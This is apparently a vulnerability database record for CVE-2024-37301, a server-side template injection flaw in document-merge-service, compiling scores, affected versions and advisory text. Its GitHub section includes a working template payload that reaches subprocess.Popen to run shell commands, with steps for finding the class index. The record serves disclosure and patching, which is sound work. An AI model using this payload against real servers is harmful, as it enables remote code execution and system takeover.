CVE-2024-37301
JSON

7.2high

document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection

Severity
7.2high CVSS:3.1 by GitHub_M
Exploit likelihood
1.04% (higher than 64% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-v5gf-r78h-55q6PYSEC-2026-1314

Description

Document Merge Service is a document template merge service providing an API to manage templates and merge them with given data. Versions 6.5.1 and prior are vulnerable to remote code execution via server-side template injection which, when executed as root, can result in full takeover of the affected system. As of time of publication, no patched version exists, nor have any known workarounds been disclosed.

Affected

Product or packageVersionsReported by
adfinis document-merge-service< 6.5.2CVE List
adfinis document_merge_serviceup to 6.5.1CVE List
document-merge-service (PyPI)before 6.5.2GitHub Advisory Database, PyPA Advisory Database

All scores

GitHub_M7.2high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
GitHub7.2high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
PyPA Advisory Database7.2high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Classification

CWE-1336

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.

What each source says

CVE List

Document Merge Service is a document template merge service providing an API to manage templates and merge them with given data. Versions 6.5.1 and prior are vulnerable to remote code execution via server-side template injection which, when executed as root, can result in full takeover of the affected system. As of time of publication, no patched version exists, nor have any known workarounds been disclosed.

GitHub Advisory Database
Impact

What kind of vulnerability is it? Who is impacted?

A remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.

Patches

Has the problem been patched? What versions should users upgrade to?

It has been patched in v6.5.2

References

Are there any links users can visit to find out more?

POC

Add the following to a document, upload and render it:

{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} 
ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }}

whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }}

uname -a:
{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }}

{% endif %}

The index might be different, so to debug this first render a template with {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }} and then get the index of subprocess.Popen and replace 202 with that.

image

NVD (es)

Document Merge Service es un servicio de combinación de plantillas de documentos que proporciona una API para administrar plantillas y combinarlas con datos determinados. Las versiones 6.5.1 y anteriores son vulnerables a la ejecución remota de código mediante la inyección de plantillas del lado del servidor que, cuando se ejecuta como root, puede resultar en la toma total del sistema afectado. En el momento de la publicación, no existe ninguna versión parcheada ni se ha revelado ningún workaround.

References

Sources

SourceRecordLicence
CVE ListCVE-2024-37301 changed 2026-02-04CVE Terms of Use
GitHub Advisory DatabaseGHSA-v5gf-r78h-55q6 changed 2026-07-07CC-BY-4.0
NVDCVE-2024-37301 changed 2026-06-17Public domain
PyPA Advisory DatabasePYSEC-2026-1314 changed 2026-07-07CC-BY-4.0